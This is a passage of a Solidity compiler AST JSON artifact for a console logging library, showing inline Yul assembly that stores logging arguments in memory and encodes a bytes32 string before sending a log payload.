rc":"348162:11:22","nodeType":"YulIdentifier","src":"348162:11:22"},"nativeSrc":"348162:22:22","nodeType":"YulFunctionCall","src":"348162:22:22"},"nativeSrc":"348162:22:22","nodeType":"YulExpressionStatement","src":"348162:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45074,"isOffset":false,"isSlot":false,"src":"347539:2:22","valueSize":1},{"declaration":45077,"isOffset":false,"isSlot":false,"src":"347569:2:22","valueSize":1},{"declaration":45104,"isOffset":false,"isSlot":false,"src":"347841:3:22","valueSize":1},{"declaration":45080,"isOffset":false,"isSlot":false,"src":"347599:2:22","valueSize":1},{"declaration":45083,"isOffset":false,"isSlot":false,"src":"347629:2:22","valueSize":1},{"declaration":45086,"isOffset":false,"isSlot":false,"src":"347659:2:22","valueSize":1},{"declaration":45089,"isOffset":false,"isSlot":false,"src":"347689:2:22","valueSize":1},{"declaration":45092,"isOffset":false,"isSlot":false,"src":"347719:2:22","valueSize":1},{"declaration":45095,"isOffset":false,"isSlot":false,"src":"347749:2:22","valueSize":1},{"declaration":45098,"isOffset":false,"isSlot":false,"src":"347779:2:22","valueSize":1},{"declaration":45101,"isOffset":false,"isSlot":false,"src":"347810:2:22","valueSize":1},{"declaration":45064,"isOffset":false,"isSlot":false,"src":"348112:2:22","valueSize":1},{"declaration":45066,"isOffset":false,"isSlot":false,"src":"348015:2:22","valueSize":1},{"declaration":45068,"isOffset":false,"isSlot":false,"src":"348146:2:22","valueSize":1},{"declaration":45070,"isOffset":false,"isSlot":false,"src":"348181:2:22","valueSize":1}],"id":45106,"nodeType":"InlineAssembly","src":"347161:1033:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45108,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"348219:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":45109,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"348225:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":45107,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"348203:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"348203:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45111,"nodeType":"ExpressionStatement","src":"348203:28:22"},{"AST":{"nativeSrc":"348250:334:22","nodeType":"YulBlock","src":"348250:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"348271:4:22","nodeType":"YulLiteral","src":"348271:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"348277:2:22","nodeType":"YulIdentifier","src":"348277:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348264:6:22","nodeType":"YulIdentifier","src":"348264:6:22"},"nativeSrc":"348264:16:22","nodeType":"YulFunctionCall","src":"348264:16:22"},"nativeSrc":"348264:16:22","nodeType":"YulExpressionStatement","src":"348264:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348300:4:22","nodeType":"YulLiteral","src":"348300:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"348306:2:22","nodeType":"YulIdentifier","src":"348306:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348293:6:22","nodeType":"YulIdentifier","src":"348293:6:22"},"nativeSrc":"348293:16:22","nodeType":"YulFunctionCall","src":"348293:16:22"},"nativeSrc":"348293:16:22","nodeType":"YulExpressionStatement","src":"348293:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348329:4:22","nodeType":"YulLiteral","src":"348329:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"348335:2:22","nodeType":"YulIdentifier","src":"348335:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348322:6:22","nodeType":"YulIdentifier","src":"348322:6:22"},"nativeSrc":"348322:16:22","nodeType":"YulFunctionCall","src":"348322:16:22"},"nativeSrc":"348322:16:22","nodeType":"YulExpressionStatement","src":"348322:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348358:4:22","nodeType":"YulLiteral","src":"348358:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"348364:2:22","nodeType":"YulIdentifier","src":"348364:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348351:6:22","nodeType":"YulIdentifier","src":"348351:6:22"},"nativeSrc":"348351:16:22","nodeType":"YulFunctionCall","src":"348351:16:22"},"nativeSrc":"348351:16:22","nodeType":"YulExpressionStatement","src":"348351:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348387:4:22","nodeType":"YulLiteral","src":"348387:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"348393:2:22","nodeType":"YulIdentifier","src":"348393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348380:6:22","nodeType":"YulIdentifier","src":"348380:6:22"},"nativeSrc":"348380:16:22","nodeType":"YulFunctionCall","src":"348380:16:22"},"nativeSrc":"348380:16:22","nodeType":"YulExpressionStatement","src":"348380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348416:4:22","nodeType":"YulLiteral","src":"348416:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"348422:2:22","nodeType":"YulIdentifier","src":"348422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348409:6:22","nodeType":"YulIdentifier","src":"348409:6:22"},"nativeSrc":"348409:16:22","nodeType":"YulFunctionCall","src":"348409:16:22"},"nativeSrc":"348409:16:22","nodeType":"YulExpressionStatement","src":"348409:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348445:4:22","nodeType":"YulLiteral","src":"348445:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"348451:2:22","nodeType":"YulIdentifier","src":"348451:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348438:6:22","nodeType":"YulIdentifier","src":"348438:6:22"},"nativeSrc":"348438:16:22","nodeType":"YulFunctionCall","src":"348438:16:22"},"nativeSrc":"348438:16:22","nodeType":"YulExpressionStatement","src":"348438:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348474:4:22","nodeType":"YulLiteral","src":"348474:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"348480:2:22","nodeType":"YulIdentifier","src":"348480:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348467:6:22","nodeType":"YulIdentifier","src":"348467:6:22"},"nativeSrc":"348467:16:22","nodeType":"YulFunctionCall","src":"348467:16:22"},"nativeSrc":"348467:16:22","nodeType":"YulExpressionStatement","src":"348467:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348503:5:22","nodeType":"YulLiteral","src":"348503:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"348510:2:22","nodeType":"YulIdentifier","src":"348510:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348496:6:22","nodeType":"YulIdentifier","src":"348496:6:22"},"nativeSrc":"348496:17:22","nodeType":"YulFunctionCall","src":"348496:17:22"},"nativeSrc":"348496:17:22","nodeType":"YulExpressionStatement","src":"348496:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348533:5:22","nodeType":"YulLiteral","src":"348533:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"348540:2:22","nodeType":"YulIdentifier","src":"348540:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348526:6:22","nodeType":"YulIdentifier","src":"348526:6:22"},"nativeSrc":"348526:17:22","nodeType":"YulFunctionCall","src":"348526:17:22"},"nativeSrc":"348526:17:22","nodeType":"YulExpressionStatement","src":"348526:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348563:5:22","nodeType":"YulLiteral","src":"348563:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"348570:3:22","nodeType":"YulIdentifier","src":"348570:3:22"}],"functionName":{"name":"mstore","nativeSrc":"348556:6:22","nodeType":"YulIdentifier","src":"348556:6:22"},"nativeSrc":"348556:18:22","nodeType":"YulFunctionCall","src":"348556:18:22"},"nativeSrc":"348556:18:22","nodeType":"YulExpressionStatement","src":"348556:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45074,"isOffset":false,"isSlot":false,"src":"348277:2:22","valueSize":1},{"declaration":45077,"isOffset":false,"isSlot":false,"src":"348306:2:22","valueSize":1},{"declaration":45104,"isOffset":false,"isSlot":false,"src":"348570:3:22","valueSize":1},{"declaration":45080,"isOffset":false,"isSlot":false,"src":"348335:2:22","valueSize":1},{"declaration":45083,"isOffset":false,"isSlot":false,"src":"348364:2:22","valueSize":1},{"declaration":45086,"isOffset":false,"isSlot":false,"src":"348393:2:22","valueSize":1},{"declaration":45089,"isOffset":false,"isSlot":false,"src":"348422:2:22","valueSize":1},{"declaration":45092,"isOffset":false,"isSlot":false,"src":"348451:2:22","valueSize":1},{"declaration":45095,"isOffset":false,"isSlot":false,"src":"348480:2:22","valueSize":1},{"declaration":45098,"isOffset":false,"isSlot":false,"src":"348510:2:22","valueSize":1},{"declaration":45101,"isOffset":false,"isSlot":false,"src":"348540:2:22","valueSize":1}],"id":45112,"nodeType":"InlineAssembly","src":"348241:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"346867:3:22","parameters":{"id":45071,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45064,"mutability":"mutable","name":"p0","nameLocation":"346879:2:22","nodeType":"VariableDeclaration","scope":45114,"src":"346871:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45063,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346871:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45066,"mutability":"mutable","name":"p1","nameLocation":"346888:2:22","nodeType":"VariableDeclaration","scope":45114,"src":"346883:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45065,"name":"bool","nodeType":"ElementaryTypeName","src":"346883:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45068,"mutability":"mutable","name":"p2","nameLocation":"346900:2:22","nodeType":"VariableDeclaration","scope":45114,"src":"346892:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45067,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346892:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45070,"mutability":"mutable","name":"p3","nameLocation":"346912:2:22","nodeType":"VariableDeclaration","scope":45114,"src":"346904:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45069,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346904:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"346870:45:22"},"returnParameters":{"id":45072,"nodeType":"ParameterList","parameters":[],"src":"346930:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45154,"nodeType":"FunctionDefinition","src":"348596:1340:22","nodes":[],"body":{"id":45153,"nodeType":"Block","src":"348671:1265:22","nodes":[],"statements":[{"assignments":[45126],"declarations":[{"constant":false,"id":45126,"mutability":"mutable","name":"m0","nameLocation":"348689:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348681:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45125,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348681:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45127,"nodeType":"VariableDeclarationStatement","src":"348681:10:22"},{"assignments":[45129],"declarations":[{"constant":false,"id":45129,"mutability":"mutable","name":"m1","nameLocation":"348709:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348701:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45128,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348701:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45130,"nodeType":"VariableDeclarationStatement","src":"348701:10:22"},{"assignments":[45132],"declarations":[{"constant":false,"id":45132,"mutability":"mutable","name":"m2","nameLocation":"348729:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348721:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45131,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348721:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45133,"nodeType":"VariableDeclarationStatement","src":"348721:10:22"},{"assignments":[45135],"declarations":[{"constant":false,"id":45135,"mutability":"mutable","name":"m3","nameLocation":"348749:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45134,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348741:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45136,"nodeType":"VariableDeclarationStatement","src":"348741:10:22"},{"assignments":[45138],"declarations":[{"constant":false,"id":45138,"mutability":"mutable","name":"m4","nameLocation":"348769:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45137,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348761:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45139,"nodeType":"VariableDeclarationStatement","src":"348761:10:22"},{"assignments":[45141],"declarations":[{"constant":false,"id":45141,"mutability":"mutable","name":"m5","nameLocation":"348789:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348781:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45140,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348781:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45142,"nodeType":"VariableDeclarationStatement","src":"348781:10:22"},{"assignments":[45144],"declarations":[{"constant":false,"id":45144,"mutability":"mutable","name":"m6","nameLocation":"348809:2:22","nodeType":"VariableDeclaration","scope":45153,"src":"348801:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45143,"name":"bytes32","nodeType":"ElementaryTypeName","src":"348801:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45145,"nodeType":"VariableDeclarationStatement","src":"348801:10:22"},{"AST":{"nativeSrc":"348830:831:22","nodeType":"YulBlock","src":"348830:831:22","statements":[{"body":{"nativeSrc":"348873:313:22","nodeType":"YulBlock","src":"348873:313:22","statements":[{"nativeSrc":"348891:15:22","nodeType":"YulVariableDeclaration","src":"348891:15:22","value":{"kind":"number","nativeSrc":"348905:1:22","nodeType":"YulLiteral","src":"348905:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"348895:6:22","nodeType":"YulTypedName","src":"348895:6:22","type":""}]},{"body":{"nativeSrc":"348976:40:22","nodeType":"YulBlock","src":"348976:40:22","statements":[{"body":{"nativeSrc":"349005:9:22","nodeType":"YulBlock","src":"349005:9:22","statements":[{"nativeSrc":"349007:5:22","nodeType":"YulBreak","src":"349007:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"348993:6:22","nodeType":"YulIdentifier","src":"348993:6:22"},{"name":"w","nativeSrc":"349001:1:22","nodeType":"YulIdentifier","src":"349001:1:22"}],"functionName":{"name":"byte","nativeSrc":"348988:4:22","nodeType":"YulIdentifier","src":"348988:4:22"},"nativeSrc":"348988:15:22","nodeType":"YulFunctionCall","src":"348988:15:22"}],"functionName":{"name":"iszero","nativeSrc":"348981:6:22","nodeType":"YulIdentifier","src":"348981:6:22"},"nativeSrc":"348981:23:22","nodeType":"YulFunctionCall","src":"348981:23:22"},"nativeSrc":"348978:36:22","nodeType":"YulIf","src":"348978:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"348933:6:22","nodeType":"YulIdentifier","src":"348933:6:22"},{"kind":"number","nativeSrc":"348941:4:22","nodeType":"YulLiteral","src":"348941:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"348930:2:22","nodeType":"YulIdentifier","src":"348930:2:22"},"nativeSrc":"348930:16:22","nodeType":"YulFunctionCall","src":"348930:16:22"},"nativeSrc":"348923:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"348947:28:22","nodeType":"YulBlock","src":"348947:28:22","statements":[{"nativeSrc":"348949:24:22","nodeType":"YulAssignment","src":"348949:24:22","value":{"arguments":[{"name":"length","nativeSrc":"348963:6:22","nodeType":"YulIdentifier","src":"348963:6:22"},{"kind":"number","nativeSrc":"348971:1:22","nodeType":"YulLiteral","src":"348971:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"348959:3:22","nodeType":"YulIdentifier","src":"348959:3:22"},"nativeSrc":"348959:14:22","nodeType":"YulFunctionCall","src":"348959:14:22"},"variableNames":[{"name":"length","nativeSrc":"348949:6:22","nodeType":"YulIdentifier","src":"348949:6:22"}]}]},"pre":{"nativeSrc":"348927:2:22","nodeType":"YulBlock","src":"348927:2:22","statements":[]},"src":"348923:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"349040:3:22","nodeType":"YulIdentifier","src":"349040:3:22"},{"name":"length","nativeSrc":"349045:6:22","nodeType":"YulIdentifier","src":"349045:6:22"}],"functionName":{"name":"mstore","nativeSrc":"349033:6:22","nodeType":"YulIdentifier","src":"349033:6:22"},"nativeSrc":"349033:19:22","nodeType":"YulFunctionCall","src":"349033:19:22"},"nativeSrc":"349033:19:22","nodeType":"YulExpressionStatement","src":"349033:19:22"},{"nativeSrc":"349069:37:22","nodeType":"YulVariableDeclaration","src":"349069:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"349086:3:22","nodeType":"YulLiteral","src":"349086:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"349095:1:22","nodeType":"YulLiteral","src":"349095:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"349098:6:22","nodeType":"YulIdentifier","src":"349098:6:22"}],"functionName":{"name":"shl","nativeSrc":"349091:3:22","nodeType":"YulIdentifier","src":"349091:3:22"},"nativeSrc":"349091:14:22","nodeType":"YulFunctionCall","src":"349091:14:22"}],"functionName":{"name":"sub","nativeSrc":"349082:3:22","nodeType":"YulIdentifier","src":"349082:3:22"},"nativeSrc":"349082:24:22","nodeType":"YulFunctionCall","src":"349082:24:22"},"variables":[{"name":"shift","nativeSrc":"349073:5:22","nodeType":"YulTypedName","src":"349073:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"349134:3:22","nodeType":"YulIdentifier","src":"349134:3:22"},{"kind":"number","nativeSrc":"349139:4:22","nodeType":"YulLiteral","src":"349139:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"349130:3:22","nodeType":"YulIdentifier","src":"349130:3:22"},"nativeSrc":"349130:14:22","nodeType":"YulFunctionCall","src":"349130:14:22"},{"arguments":[{"name":"shift","nativeSrc":"349150:5:22","nodeType":"YulIdentifier","src":"349150:5:22"},{"arguments":[{"name":"shift","nativeSrc":"349161:5:22","nodeType":"YulIdentifier","src":"349161:5:22"},{"name":"w","nativeSrc":"349168:1:22","nodeType":"YulIdentifier","src":"349168:1:22"}],"functionName":{"name":"shr","nativeSrc":"349157:3:22","nodeType":"YulIdentifier","src":"349157:3:22"},"nativeSrc":"349157:13:22","nodeType":"YulFunctionCall","src":"349157:13:22"}],"functionName":{"name":"shl","nativeSrc":"349146:3:22","nodeType":"YulIdentifier","src":"349146:3:22"},"nativeSrc":"349146:25:22","nodeType":"YulFunctionCall","src":"349146:25:22"}],"functionName":{"name":"mstore","nativeSrc":"349123:6:22","nodeType":"YulIdentifier","src":"349123:6:22"},"nativeSrc":"349123:49:22","nodeType":"YulFunctionCall","src":"349123:49:22"},"nativeSrc":"349123:49:22","nodeType":"YulExpressionStatement","src":"349123:49:22"}]},"name":"writeString","nativeSrc":"348844:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"348865:3:22","nodeType":"YulTypedName","src":"348865:3:22","type":""},{"name":"w","nativeSrc":"348870:1:22","nodeType":"YulTypedName","src":"348870:1:22","type":""}],"src":"348844:342:22"},{"nativeSrc":"349199:17:22","nodeType":"YulAssignment","src":"349199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349211:4:22","nodeType":"YulLiteral","src":"349211:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"349205:5:22","nodeType":"YulIdentifier","src":"349205:5:22"},"nativeSrc":"349205:11:22","nodeType":"YulFunctionCall","src":"349205:11:22"},"variableNames":[{"name":"m0","nativeSrc":"349199:2:22","nodeType":"YulIdentifier","src":"349199:2:22"}]},{"nativeSrc":"349229:17:22","nodeType":"YulAssignment","src":"349229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349241:4:22","nodeType":"YulLiteral","src":"349241:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"349235:5:22","nodeType":"YulIdentifier","src":"349235:5:22"},"nativeSrc":"349235:11:22","nodeType":"YulFunctionCall","src":"349235:11:22"},"variableNames":[{"name":"m1","nativeSrc":"349229:2:22","nodeType":"YulIdentifier","src":"349229:2:22"}]},{"nativeSrc":"349259:17:22","nodeType":"YulAssignment","src":"349259:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349271:4:22","nodeType":"YulLiteral","src":"349271:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"349265:5:22","nodeType":"YulIdentifier","src":"349265:5:22"},"nativeSrc":"349265:11:22","nodeType":"YulFunctionCall","src":"349265:11:22"},"variableNames":[{"name":"m2","nativeSrc":"349259:2:22","nodeType":"YulIdentifier","src":"349259:2:22"}]},{"nativeSrc":"349289:17:22","nodeType":"YulAssignment","src":"349289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349301:4:22","nodeType":"YulLiteral","src":"349301:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"349295:5:22","nodeType":"YulIdentifier","src":"349295:5:22"},"nativeSrc":"349295:11:22","nodeType":"YulFunctionCall","src":"349295:11:22"},"variableNames":[{"name":"m3","nativeSrc":"349289:2:22","nodeType":"YulIdentifier","src":"349289:2:22"}]},{"nativeSrc":"349319:17:22","nodeType":"YulAssignment","src":"349319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349331:4:22","nodeType":"YulLiteral","src":"349331:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"349325:5:22","nodeType":"YulIdentifier","src":"349325:5:22"},"nativeSrc":"349325:11:22","nodeType":"YulFunctionCall","src":"349325:11:22"},"variableNames":[{"name":"m4","nativeSrc":"349319:2:22","nodeType":"YulIdentifier","src":"349319:2:22"}]},{"nativeSrc":"349349:17:22","nodeType":"YulAssignment","src":"349349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349361:4:22","nodeType":"YulLiteral","src":"349361:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"349355:5:22","nodeType":"YulIdentifier","src":"349355:5:22"},"nativeSrc":"349355:11:22","nodeType":"YulFunctionCall","src":"349355:11:22"},"variableNames":[{"name":"m5","nativeSrc":"349349:2:22","nodeType":"YulIdentifier","src":"349349:2:22"}]},{"nativeSrc":"349379:17:22","nodeType":"YulAssignment","src":"349379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"349391:4:22","nodeType":"YulLiteral","src":"349391:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"349385:5:22","nodeType":"YulIdentifier","src":"349385:5:22"},"nativeSrc":"349385:11:22","nodeType":"YulFunctionCall","src":"349385:11:22"},"variableNames":[{"name":"m6","nativeSrc":"349379:2:22","nodeType":"YulIdentifier","src":"349379:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349482:4:22","nodeType":"YulLiteral","src":"349482:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"349488:10:22","nodeType":"YulLiteral","src":"349488:10:22","type":"","value":"0x5ea2b7ae"}],"functionName":{"name":"mstore","nativeSrc":"349475:6:22","nodeType":"YulIdentifier","src":"349475:6:22"},"nativeSrc":"349475:24:22","nodeType":"YulFunctionCall","src":"349475:24:22"},"nativeSrc":"349475:24:22","nodeType":"YulExpressionStatement","src":"349475:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349519:4:22","nodeType":"YulLiteral","src":"349519:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"349525:4:22","nodeType":"YulLiteral","src":"349525:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"349512:6:22","nodeType":"YulIdentifier","src":"349512:6:22"},"nativeSrc":"349512:18:22","nodeType":"YulFunctionCall","src":"349512:18:22"},"nativeSrc":"349512:18:22","nodeType":"YulExpressionStatement","src":"349512:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349550:4:22","nodeType":"YulLiteral","src":"349550:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"349556:2:22","nodeType":"YulIdentifier","src":"349556:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349543:6:22","nodeType":"YulIdentifier","src":"349543:6:22"},"nativeSrc":"349543:16:22","nodeType":"YulFunctionCall","src":"349543:16:22"},"nativeSrc":"349543:16:22","nodeType":"YulExpressionStatement","src":"349543:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349579:4:22","nodeType":"YulLiteral","src":"349579:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"349585:2:22","nodeType":"YulIdentifier","src":"349585:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349572:6:22","nodeType":"YulIdentifier","src":"349572:6:22"},"nativeSrc":"349572:16:22","nodeType":"YulFunctionCall","src":"349572:16:22"},"nativeSrc":"349572:16:22","nodeType":"YulExpressionStatement","src":"349572:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349608:4:22","nodeType":"YulLiteral","src":"349608:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"349614:2:22","nodeType":"YulIdentifier","src":"349614:2:22"}],"functionName":{"name":"mstore","nativeSrc":"349601:6:22","nodeType":"YulIdentifier","src":"349601:6:22"},"nativeSrc":"349601:16:22","nodeType":"YulFunctionCall","src":"349601:16:22"},"nativeSrc":"349601:16:22","nodeType":"YulExpressionStatement","src":"349601:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"349642:4:22","nodeType":"YulLiteral","src":"349642:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"349648:2:22","nodeType":"YulIdentifier","src":"349648:2:22"}],"functionName":{"name":"writeString","nativeSrc":"349630:11:22","nodeType":"YulIdentifier","src":"349630:11:22"},"nativeSrc":"349630:21:22","nodeType":"YulFunctionCall","src":"349630:21:22"},"nativeSrc":"349630:21:22","nodeType":"YulExpressionStatement","src":"349630:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45126,"isOffset":false,"isSlot":false,"src":"349199:2:22","valueSize":1},{"declaration":45129,"isOffset":false,"isSlot":false,"src":"349229:2:22","valueSize":1},{"declaration":45132,"isOffset":false,"isSlot":false,"src":"349259:2:22","valueSize":1},{"declaration":45135,"isOffset":false,"isSlot":false,"src":"349289:2:22","valueSize":1},{"declaration":45138,"isOffset":false,"isSlot":false,"src":"349319:2:22","valueSize":1},{"declaration":45141,"isOffset":false,"isSlot":false,"src":"349349:2:22","valueSize":1},{"declaration":45144,"isOffset":false,"isSlot":false,"src":"349379:2:22","valueSize":1},{"declaration":45116,"isOffset":false,"isSlot":false,"src":"349648:2:22","valueSize":1},{"declaration":45118,"isOffset":false,"isSlot":false,"src":"349556:2:22","valueSize":1},{"declaration":45120,"isOffset":false,"isSlot":false,"src":"349585:2:22","valueSize":1},{"declaration":45122,"isOffset":false,"isSlot":false,"src":"349614:2:22","valueSize":1}],"id":45146,"nodeType":"InlineAssembly","src":"348821:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45148,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"349686:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_